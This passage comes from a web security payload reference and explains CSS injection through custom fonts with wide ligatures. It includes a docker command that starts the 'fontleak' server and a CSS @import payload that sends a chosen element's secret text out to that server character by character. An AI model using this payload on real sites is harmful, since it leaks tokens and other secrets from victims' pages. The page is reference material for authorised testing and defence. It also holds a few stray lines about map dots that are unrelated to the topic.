CSS Injection · passage 9 of 9

Ligatures

2 code blocks · CSS Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout. 1. Create a custom font with ligatures for target strings. 2. Use media queries or scrollbars to detect if the rendered width of the element has changed.

docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest

Payload example using `fontleak` with a custom selector, parent element, and alphabet. **Warning**: The CSS selector must match exactly one element in the target page.

<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>

Every one of the 9 is a mark on the map. Named now: 1 to 9, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.